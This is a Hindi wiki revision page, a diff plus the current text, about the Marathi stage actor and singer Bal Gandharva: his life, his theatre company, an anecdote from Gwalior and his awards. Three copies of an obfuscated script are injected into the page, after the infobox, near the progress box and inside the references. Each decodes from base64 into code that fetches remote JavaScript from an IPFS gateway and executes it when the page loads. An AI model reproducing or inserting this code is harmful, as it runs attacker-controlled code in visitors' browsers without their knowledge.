"बाल गन्धर्व" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(4 सदस्यों द्वारा किये गये बीच के 8 अवतरण नहीं दर्शाए गए)
पंक्ति 9: पंक्ति 9:
 
|मृत्यु=[[15 जुलाई]], [[1967]]
 
|मृत्यु=[[15 जुलाई]], [[1967]]
 
|मृत्यु स्थान=[[पुणे]]
 
|मृत्यु स्थान=[[पुणे]]
|अविभावक=
+
|अभिभावक=
 
|पति/पत्नी=गौहर बाई कर्नाटकी
 
|पति/पत्नी=गौहर बाई कर्नाटकी
 
|संतान=
 
|संतान=
पंक्ति 17: पंक्ति 17:
 
|मुख्य फ़िल्में=
 
|मुख्य फ़िल्में=
 
|विषय=
 
|विषय=
|शिक्षा=[[संगीत]] तथा अभिनय
+
|शिक्षा=[[संगीत]] तथा [[अभिनय]]
 
|विद्यालय=
 
|विद्यालय=
 
|पुरस्कार-उपाधि='[[संगीत नाटक अकादमी पुरस्कार]]', '[[पद्मभूषण]]'
 
|पुरस्कार-उपाधि='[[संगीत नाटक अकादमी पुरस्कार]]', '[[पद्मभूषण]]'
पंक्ति 32: पंक्ति 32:
 
|अद्यतन=
 
|अद्यतन=
 
}}
 
}}
 
+
'''बाल गन्धर्व''' ([[अंग्रेज़ी]]: ''Bal Gandharva;'' मूल नाम: 'नारायण श्रीपाद राजहंस'; जन्म- [[26 जून]], [[1888]] ई., [[पुणे]], [[महाराष्ट्र]]; मृत्यु- [[15 जुलाई]], [[1967]], [[पुणे]]) [[मराठी भाषा|मराठी]] [[रंगमंच]] के महान् नायक और प्रसिद्ध गायक थे। उन्होंने रंगमंच पर अपने अभिनय की शुरुआत सर्वप्रथम [[शकुंतला]] का चरित्र निभाकर की थी। नारायण श्रीपाद राजहंस को 'बाल गन्धर्व' के नाम से अधिक जाना जाता है। यह नाम उन्हें [[भारत]] के प्रसिद्ध स्वतंत्रता सेनानियों में से एक [[बाल गंगाधर तिलक]] ने दिया था। बाल गन्धर्व मराठी रंगमंच पर महिला चरित्रों को निभाते थे, क्योंकि तत्कालीन समय में महिलाएँ रंगमंच पर किसी भी प्रकार की भूमिका नहीं निभाती थीं।
'''नारायण श्रीपाद राजहंस''' (प्रसिद्ध नाम 'बाल गन्धर्व'; जन्म- [[26 जून]], [[1888]] ई., [[पुणे]], [[महाराष्ट्र]]; मृत्यु- [[15 जुलाई]], [[1967]], [[पुणे]]) [[मराठी भाषा|मराठी]] रंगमंच के महान नायक और प्रसिद्ध गायक थे। उन्होंने रंगमंच पर अपने अभिनय की शुरुआत सर्वप्रथम [[शकुंतला]] का चरित्र निभाकर की थी। नारायण श्रीपाद राजहंस को 'बाल गन्धर्व' के नाम से अधिक जाना जाता है। यह नाम उन्हें [[भारत]] के प्रसिद्ध स्वतंत्रता सेनानियों में से एक [[बाल गंगाधर तिलक]] ने दिया था। बाल गन्धर्व मराठी रंगमंच पर महिला चरित्रों को निभाते थे, क्योंकि तत्कालीन समय में महिलाएँ रंगमंच पर किसी भी प्रकार की भूमिका नहीं निभाती थीं।
 
 
==परिचय==
 
==परिचय==
रंगमंच के महान नायक नारायण श्रीपाद राजहंस का जन्म 26 जून, 1888 ई. को [[पुणे]] के एक मध्यम वर्गीय [[ब्राह्मण]] परिवार में हुआ था। यद्यपि इनका वास्तविक नाम 'नारायण श्रीपाद राजहंस' था, लेकिन ये 'बाल गन्धर्व' के नाम से अधिक प्रसिद्ध हुए। रंगमंच के इनके अभिनय से प्रभावित होकर लोकमान्य बाल गंगाधर तिलक ने वर्ष [[1898]] में उन्हें 'बाल गंधर्व' का नाम दिया था और यहीं से इनका ये नाम प्रसिद्ध हो गया।
+
[[रंगमंच]] के महान् नायक नारायण श्रीपाद राजहंस का जन्म 26 जून, 1888 ई. को [[पुणे]] के एक मध्यम वर्गीय [[ब्राह्मण]] [[परिवार]] में हुआ था। यद्यपि ऊनका वास्तविक नाम 'नारायण श्रीपाद राजहंस' था, लेकिन वे 'बाल गन्धर्व' के नाम से अधिक प्रसिद्ध हुए। रंगमंच के उनके अभिनय से प्रभावित होकर लोकमान्य बाल गंगाधर तिलक ने वर्ष [[1898]] में उन्हें 'बाल गंधर्व' का नाम दिया था और यहीं से उनका ये नाम प्रसिद्ध हो गया।
 
====विवाह====
 
====विवाह====
 
बाल गन्धर्व की प्रथम पत्नी का निधन वर्ष [[1940]] में हो गया था। इसके बाद उन्होंने वर्ष [[1951]] में अपनी सहकर्मी गौहर बाई कर्नाटकी से दूसरा [[विवाह]] कर लिया।
 
बाल गन्धर्व की प्रथम पत्नी का निधन वर्ष [[1940]] में हो गया था। इसके बाद उन्होंने वर्ष [[1951]] में अपनी सहकर्मी गौहर बाई कर्नाटकी से दूसरा [[विवाह]] कर लिया।
पंक्ति 41: पंक्ति 40:
 
नारायण श्रीपाद राजहंस ने अपने समय के प्रसिद्ध संगीतकार भास्करबुवा से [[संगीत]] की शिक्षा प्राप्त की थी। रंगमंच के प्रति आकर्षण के कारण वे [[1905]] में 'किर्लोस्कर नाट्य मंडली' में सम्मिलित हो गए। उन दिनों रंगमंच पर नारी पात्रों का अभिनय भी पुरुष ही किया करते थे। प्रकृति से नारायण श्रीपाद राजहंस को सुंदर स्वरूप और आकर्षक देहयष्टि मिली थी। जब उन्होंने सर्वप्रथम [[शकुंतला]] का अभिनय किया तो दर्शक मंत्रमुग्ध हो उठे। उसके बाद उन्होंने पीछे मुड़कर नहीं देखा।
 
नारायण श्रीपाद राजहंस ने अपने समय के प्रसिद्ध संगीतकार भास्करबुवा से [[संगीत]] की शिक्षा प्राप्त की थी। रंगमंच के प्रति आकर्षण के कारण वे [[1905]] में 'किर्लोस्कर नाट्य मंडली' में सम्मिलित हो गए। उन दिनों रंगमंच पर नारी पात्रों का अभिनय भी पुरुष ही किया करते थे। प्रकृति से नारायण श्रीपाद राजहंस को सुंदर स्वरूप और आकर्षक देहयष्टि मिली थी। जब उन्होंने सर्वप्रथम [[शकुंतला]] का अभिनय किया तो दर्शक मंत्रमुग्ध हो उठे। उसके बाद उन्होंने पीछे मुड़कर नहीं देखा।
 
====नाट्य मंडली====
 
====नाट्य मंडली====
बाद में नारायण श्रीपाद राजहंस ने 'गंधर्व नाट्य मंडली' नाम से अपनी अलग संस्था बना ली। इस संस्था ने वर्ष [[1944]] तक अनेक नाटक प्रस्तुत किए। यह [[मराठी भाषा|मराठी]] रंगमंच की सिरमौर संस्था बन गई। नारायण श्रीपाद ने इसमें अनेक महिला पात्रों का अभिनय किया, जिनमें [[सुभद्रा]], भामिनी, [[देवयानी]], [[रुक्मिणी]], [[रेवती (बलराम की पत्नी)|रेवती]] आदि के नाम प्रमुख रूप से लिये जा सकते हैं।
+
बाद में नारायण श्रीपाद राजहंस ने 'गंधर्व नाट्य मंडली' नाम से अपनी अलग संस्था बना ली। इस संस्था ने वर्ष [[1944]] तक अनेक [[नाटक]] प्रस्तुत किए। यह [[मराठी भाषा|मराठी]] रंगमंच की सिरमौर संस्था बन गई। नारायण श्रीपाद ने इसमें अनेक महिला पात्रों का अभिनय किया, जिनमें [[सुभद्रा]], भामिनी, [[देवयानी]], [[रुक्मिणी]], [[रेवती (बलराम की पत्नी)|रेवती]] आदि के नाम प्रमुख रूप से लिये जा सकते हैं।
 +
==रोचक प्रसंग==
 +
एक बार [[ग्वालियर]] महाराज जीवाजीराव सिंधिया ने बाल गन्धर्व के स्त्री वेश में सहज अभिनय की तारीफ के पूल बांधे। दीवान राजवाडे साहब को इस पर भरोसा नहीं बैठा। बात आगे बढ़ी और बाल गन्धर्व की ओर से राजवाडे साहब को चुनौती दी गयी कि वे राजवाडे साहब के घर हल्दी कुंकू ले कर जायेंगे। (हल्दी कुंकू पति और परिवार के मंगल के लिए महाराष्ट्रीय महिलाओं द्वारा मनाया जाने वाला त्यौहार है, इसमें देवी की पूजा की जाती है। सुहागिन महिलाओं को घर बुलाकर कुंकू आदि लगा कर स्वागत किया जाता है और उन्हें करंजी, आम पना और चना दाल की नमकीन जैसे चीजें खिलायी जाती हैं) तो राजवाडे साहब के वादे पर [[चैत्र]] हल्दी कुंकू के दिन दरवाज़े पर लेडी राजवाडे के साथ 4-5 महिलाओं का पहरा था। हर आगंतुक महिला का स्वागत कर भीतर बैठाया जा रहा था, लेकिन तेज नजरें सबको देख रही थीं, तभी एक कार रुकी और एक आभिजात्य स्त्री उतरीं। महिला ने लेडी राजवाडे को नमस्कार किया और कुशल मंगल पूछा। उन्हें आदर के साथ अन्दर लिवा लिया गया और स्वागत के साथ जलपान करवाया गया। वह महिला सबसे मिली और जाते हुए लेडी राजवाडे को धन्यवाद दे बाहर अपनी कार में जा बैठीं। कार्यक्रम चलता रहा। लेडी राजवाडे की नज़रें तो बाल गन्धर्व को पकड़ने के लिए आतुर थीं। इतने में कार का ड्राईवर लेडी राजवाडे के पास पहुंचा और बोला बाल गन्धर्व आपके घर हल्दी कुंकू ले चुके हैं और वहां कार में बैठे हैं। राजवाडे साहब शर्त हार चुके थे और कलाकार के चर्चे सारे ग्वालियर में ताज्जुब के साथ सुने सुनाये जा रहे थे।<ref>{{cite web |url=http://kavyayani.wordpress.com/2009/11/15/%E0%A4%AC%E0%A4%BE%E0%A4%B2-%E0%A4%97%E0%A4%A8%E0%A5%8D%E0%A4%A7%E0%A4%B0%E0%A5%8D%E0%A4%B5-%E0%A4%97%E0%A5%8D%E0%A4%B5%E0%A4%BE%E0%A4%B2%E0%A4%BF%E0%A4%AF%E0%A4%B0-%E0%A4%AE%E0%A5%87%E0%A4%82/ |title=बाल गन्धर्व ग्वालियर में |accessmonthday=15 जुलाई |accessyear=2013 |last= |first= |authorlink= |format= |publisher=Kavyayani |language=हिंदी }}</ref>
 
==पुरस्कार व सम्मान==
 
==पुरस्कार व सम्मान==
 
'[[संगीत नाटक अकादमी]]' से उन्हें सर्वोत्तम अभिनेता का पुरस्कार मिला। [[1964]] में [[राष्ट्रपति]] ने उन्हें '[[पद्मभूषण]]' के अलंकरण से सम्मानित किया था।
 
'[[संगीत नाटक अकादमी]]' से उन्हें सर्वोत्तम अभिनेता का पुरस्कार मिला। [[1964]] में [[राष्ट्रपति]] ने उन्हें '[[पद्मभूषण]]' के अलंकरण से सम्मानित किया था।
पंक्ति 50: पंक्ति 51:
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 +
*पुस्तक-भारतीय चरित कोश | लेखक-लीलाधर शर्मा 'पर्वतीय' | पृष्ठ संख्या- 533
 
==संबंधित लेख==
 
==संबंधित लेख==
 
+
{{संगीत नाटक अकादमी पुरस्कार}}
[[Category:गायक और नर्तक]][[Category:गायक]][[Category:संगीत_कोश]][[Category:चरित कोश]][[Category:संगीत नाटक अकादमी पुरस्कार]][[Category:पद्म भूषण]][[Category:जीवनी साहित्य]]
+
[[Category:शास्त्रीय नर्तक]][[Category:गायक और नर्तक]][[Category:गायक]][[Category:संगीत_कोश]][[Category:चरित कोश]][[Category:संगीत नाटक अकादमी पुरस्कार]][[Category:पद्म भूषण]][[Category:जीवनी साहित्य]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__

05:51, 15 जुलाई 2018 के समय का अवतरण

बाल गन्धर्व
बाल गन्धर्व
पूरा नाम नारायण श्रीपाद राजहंस
प्रसिद्ध नाम बाल गन्धर्व
जन्म 26 जून, 1888 ई.
जन्म भूमि पुणे, महाराष्ट्र
मृत्यु 15 जुलाई, 1967
मृत्यु स्थान पुणे
पति/पत्नी गौहर बाई कर्नाटकी
कर्म भूमि भारत
कर्म-क्षेत्र मराठी रंगमंच के कलाकार और गायक
शिक्षा संगीत तथा अभिनय
पुरस्कार-उपाधि 'संगीत नाटक अकादमी पुरस्कार', 'पद्मभूषण'
प्रसिद्धि रंगमंच कलाकार
नागरिकता भारतीय
अन्य जानकारी बाल गन्धर्व ने 'गन्धर्व नाट्य मंडली' नाम से अपनी एक संस्था बनाई थी। इस संस्था ने वर्ष 1944 तक अनेक नाटक प्रस्तुत किए। यह मराठी रंगमंच की सिरमौर संस्था बन गई थी।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाल गन्धर्व (अंग्रेज़ी: Bal Gandharva; मूल नाम: 'नारायण श्रीपाद राजहंस'; जन्म- 26 जून, 1888 ई., पुणे, महाराष्ट्र; मृत्यु- 15 जुलाई, 1967, पुणे) मराठी रंगमंच के महान् नायक और प्रसिद्ध गायक थे। उन्होंने रंगमंच पर अपने अभिनय की शुरुआत सर्वप्रथम शकुंतला का चरित्र निभाकर की थी। नारायण श्रीपाद राजहंस को 'बाल गन्धर्व' के नाम से अधिक जाना जाता है। यह नाम उन्हें भारत के प्रसिद्ध स्वतंत्रता सेनानियों में से एक बाल गंगाधर तिलक ने दिया था। बाल गन्धर्व मराठी रंगमंच पर महिला चरित्रों को निभाते थे, क्योंकि तत्कालीन समय में महिलाएँ रंगमंच पर किसी भी प्रकार की भूमिका नहीं निभाती थीं।

परिचय

रंगमंच के महान् नायक नारायण श्रीपाद राजहंस का जन्म 26 जून, 1888 ई. को पुणे के एक मध्यम वर्गीय ब्राह्मण परिवार में हुआ था। यद्यपि ऊनका वास्तविक नाम 'नारायण श्रीपाद राजहंस' था, लेकिन वे 'बाल गन्धर्व' के नाम से अधिक प्रसिद्ध हुए। रंगमंच के उनके अभिनय से प्रभावित होकर लोकमान्य बाल गंगाधर तिलक ने वर्ष 1898 में उन्हें 'बाल गंधर्व' का नाम दिया था और यहीं से उनका ये नाम प्रसिद्ध हो गया।

विवाह

बाल गन्धर्व की प्रथम पत्नी का निधन वर्ष 1940 में हो गया था। इसके बाद उन्होंने वर्ष 1951 में अपनी सहकर्मी गौहर बाई कर्नाटकी से दूसरा विवाह कर लिया।

सफलता

नारायण श्रीपाद राजहंस ने अपने समय के प्रसिद्ध संगीतकार भास्करबुवा से संगीत की शिक्षा प्राप्त की थी। रंगमंच के प्रति आकर्षण के कारण वे 1905 में 'किर्लोस्कर नाट्य मंडली' में सम्मिलित हो गए। उन दिनों रंगमंच पर नारी पात्रों का अभिनय भी पुरुष ही किया करते थे। प्रकृति से नारायण श्रीपाद राजहंस को सुंदर स्वरूप और आकर्षक देहयष्टि मिली थी। जब उन्होंने सर्वप्रथम शकुंतला का अभिनय किया तो दर्शक मंत्रमुग्ध हो उठे। उसके बाद उन्होंने पीछे मुड़कर नहीं देखा।

नाट्य मंडली

बाद में नारायण श्रीपाद राजहंस ने 'गंधर्व नाट्य मंडली' नाम से अपनी अलग संस्था बना ली। इस संस्था ने वर्ष 1944 तक अनेक नाटक प्रस्तुत किए। यह मराठी रंगमंच की सिरमौर संस्था बन गई। नारायण श्रीपाद ने इसमें अनेक महिला पात्रों का अभिनय किया, जिनमें सुभद्रा, भामिनी, देवयानी, रुक्मिणी, रेवती आदि के नाम प्रमुख रूप से लिये जा सकते हैं।

रोचक प्रसंग

एक बार ग्वालियर महाराज जीवाजीराव सिंधिया ने बाल गन्धर्व के स्त्री वेश में सहज अभिनय की तारीफ के पूल बांधे। दीवान राजवाडे साहब को इस पर भरोसा नहीं बैठा। बात आगे बढ़ी और बाल गन्धर्व की ओर से राजवाडे साहब को चुनौती दी गयी कि वे राजवाडे साहब के घर हल्दी कुंकू ले कर जायेंगे। (हल्दी कुंकू पति और परिवार के मंगल के लिए महाराष्ट्रीय महिलाओं द्वारा मनाया जाने वाला त्यौहार है, इसमें देवी की पूजा की जाती है। सुहागिन महिलाओं को घर बुलाकर कुंकू आदि लगा कर स्वागत किया जाता है और उन्हें करंजी, आम पना और चना दाल की नमकीन जैसे चीजें खिलायी जाती हैं) तो राजवाडे साहब के वादे पर चैत्र हल्दी कुंकू के दिन दरवाज़े पर लेडी राजवाडे के साथ 4-5 महिलाओं का पहरा था। हर आगंतुक महिला का स्वागत कर भीतर बैठाया जा रहा था, लेकिन तेज नजरें सबको देख रही थीं, तभी एक कार रुकी और एक आभिजात्य स्त्री उतरीं। महिला ने लेडी राजवाडे को नमस्कार किया और कुशल मंगल पूछा। उन्हें आदर के साथ अन्दर लिवा लिया गया और स्वागत के साथ जलपान करवाया गया। वह महिला सबसे मिली और जाते हुए लेडी राजवाडे को धन्यवाद दे बाहर अपनी कार में जा बैठीं। कार्यक्रम चलता रहा। लेडी राजवाडे की नज़रें तो बाल गन्धर्व को पकड़ने के लिए आतुर थीं। इतने में कार का ड्राईवर लेडी राजवाडे के पास पहुंचा और बोला बाल गन्धर्व आपके घर हल्दी कुंकू ले चुके हैं और वहां कार में बैठे हैं। राजवाडे साहब शर्त हार चुके थे और कलाकार के चर्चे सारे ग्वालियर में ताज्जुब के साथ सुने सुनाये जा रहे थे।[1]

पुरस्कार व सम्मान

'संगीत नाटक अकादमी' से उन्हें सर्वोत्तम अभिनेता का पुरस्कार मिला। 1964 में राष्ट्रपति ने उन्हें 'पद्मभूषण' के अलंकरण से सम्मानित किया था।

निधन

मराठी रंगमंच को नई दिशा और और प्रसिद्धि दिलाने वाले नारायण श्रीपाद राजहंस का 15 जुलाई, सन 1967 को देहान्त हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. बाल गन्धर्व ग्वालियर में (हिंदी) Kavyayani। अभिगमन तिथि: 15 जुलाई, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  • पुस्तक-भारतीय चरित कोश | लेखक-लीलाधर शर्मा 'पर्वतीय' | पृष्ठ संख्या- 533

संबंधित लेख